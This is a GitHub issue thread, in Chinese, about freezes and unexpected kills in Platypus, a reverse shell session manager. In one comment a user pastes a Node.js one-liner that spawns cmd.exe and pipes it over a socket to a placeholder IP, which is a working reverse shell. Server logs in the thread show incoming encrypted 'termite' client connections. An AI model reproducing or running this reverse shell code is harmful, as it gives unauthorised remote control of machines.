WangYihang / Platypus

:hammer: A modern multiple reverse shell sessions manager written in go
http://platypus-reverse-shell.vercel.app
GNU Lesser General Public License v3.0
1.51k stars 223 forks source link

在测试过程中发现,当交互过程中如果cmd卡住,执行exit后,server端会卡死。 #117

Open WangYihang opened 2 years ago

WangYihang commented 2 years ago

谢谢,在测试过程中发现,当交互过程中如果cmd卡住,执行exit后,server端会卡死。

Originally posted by @didayeda in https://github.com/WangYihang/Platypus/issues/115#issuecomment-1050499284

WangYihang commented 2 years ago

@didayeda 师傅请问可以麻烦您提供一下复现这个问题的具体步骤吗?

didayeda commented 2 years ago

等我在遇到的时候录下来。现在只能简单描述下,就是进入win10回连的shell,在cmd执行命令,这个命令比如下载等会卡死的指令,在卡死的时候,退出这个shell会导致整个server端卡住。

WangYihang commented 2 years ago

好的好的,非常感谢,我这边也尝试复现一下。

另外请问您是如何获取 Windows 10 的反向 Shell 的呢?netcat 吗?还是 powershell?可以提供一下对应的命令吗?

didayeda commented 2 years ago

下面是今天测试的时候碰到的卡死情况。 C:\Program Files (x86)>ftp ftp ^Cos.Interrupt, Exit? [Y/N] N Invalid command.

exit (❖)[nt authority\system] »

WangYihang commented 2 years ago

收到,好的。

另外请问您是如何获取 Windows 10 的反向 Shell 的呢?netcat 吗?还是 powershell?可以提供一下对应的命令吗?

didayeda commented 2 years ago

...powershell脚本起的shell sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(PORT, 'IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}

WangYihang commented 2 years ago

收到,好的。我研究一下。

didayeda commented 2 years ago

在redhat操作系统上,使用nc启动shell,在升级为pty后,退出时卡死。

[root@iZ6wegla3rkaj69oemh84eZ daz]# exi2022/03/07 03:29:43 You can type platyquit to return to Platypus t exit 之后卡死

WangYihang commented 2 years ago

好滴,我过段时间搭个环境测一下。最近比较忙,感谢师傅反馈。

(另外,建议直接用 Termite,而不是在普通的反弹 Shell 中使用 pty。Termite 对交互式 Shell 的支持比普通的反弹 Shell 好很多。)

didayeda commented 2 years ago

好的感谢师傅

didayeda commented 2 years ago

师傅我又来了。 会自动killed不知到为何。 2022/03/15 12:03:39 Client version: v1.5.1 2022/03/15 12:03:39 A new encrypted termite (1.5.1) income connection from 8.209.245.171:60474 2022/03/15 12:03:39 Encrypted fire in the hole: [d32556bd7945324f6918c130e1c6611d] tcp://8.209.245.171:60474 [🐧] 2022/03/15 12:03:39 Gathering information from client... 2022/03/15 12:03:39 Gathering information from termite client... 2022/03/15 12:03:39 Client version: v1.5.1 2022/03/15 12:03:39 A new encrypted termite (1.5.1) income connection from 47.245.59.56:49968 2022/03/15 12:03:39 Encrypted fire in the hole: [a6c8132b0962add731ab068eaada7f18] tcp://47.245.59.56:49968 [🐧] 2022/03/15 12:03:40 Gathering information from client... 2022/03/15 12:03:40 Gathering information from termite client... 2022/03/15 12:03:40 Client version: v1.5.1 2022/03/15 12:03:40 A new encrypted termite (1.5.1) income connection from 47.91.25.96:50948 2022/03/15 12:03:40 Encrypted fire in the hole: [80991a0f0111d83f5a7c0e2d62087188] tcp://47.91.25.96:50948 [🐧] » Killed

didayeda commented 2 years ago

师傅,我又来了,在使用过程中会自动kill。但是进程没有停止。 2022/03/15 12:10:23 Encrypted fire in the hole: [80991a0f0111d83f5a7c0e2d62087188] tcp://47.91.25.96:51126 [🐧] 2022/03/15 12:10:23 Gathering information from client... 2022/03/15 12:10:23 Gathering information from termite client... 2022/03/15 12:10:23 Client version: v1.5.1 2022/03/15 12:10:23 A new encrypted termite (1.5.1) income connection from 47.245.59.56:50962 2022/03/15 12:10:23 Encrypted fire in the hole: [a6c8132b0962add731ab068eaada7f18] tcp://47.245.59.56:50962 [🐧] 2022/03/15 12:10:24 Gathering information from client... 2022/03/15 12:10:24 Gathering information from termite client... 2022/03/15 12:10:24 Client version: v1.5.1 2022/03/15 12:10:24 A new encrypted termite (1.5.1) income connection from 8.209.245.171:60802 2022/03/15 12:10:24 Encrypted fire in the hole: [d32556bd7945324f6918c130e1c6611d] tcp://8.209.245.171:60802 [🐧] » Killed root@ONEVPS220304010421:~/Platypus/build/platypus# ps -al F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 0 S 0 1389165 21521 9 80 0 - 382322 futex_ pts/2 06:52:49 merlinServer-Li 4 S 0 2952052 2951614 0 80 0 - 2410 ia32_s pts/4 00:00:00 screen 4 S 0 2964011 2919955 0 80 0 - 2410 ia32_s pts/7 00:00:00 screen 0 S 0 2964320 2964013 0 80 0 - 5244 poll_s pts/8 00:00:00 python3 4 S 0 2964734 2964426 0 80 0 - 2410 ia32_s pts/9 00:00:00 screen 0 S 0 2965420 2964736 0 80 0 - 5835 poll_s pts/11 00:00:00 python3 4 S 0 2965737 2885873 0 80 0 - 2410 ia32s pts/10 00:00:00 screen 0 S 0 2969482 2969049 0 80 0 - 347653 futex pts/12 00:00:00 platypuslinux 0 R 0 2970495 2917076 0 80 0 - 2850 - pts/5 00:00:00 ps root@ONEVPS220304010421:~/Platypus/build/platypus#

WangYihang commented 2 years ago

欸这个看起来很奇怪,我把这个问题先开一个新的 Issue,后面有空了研究一下为什么。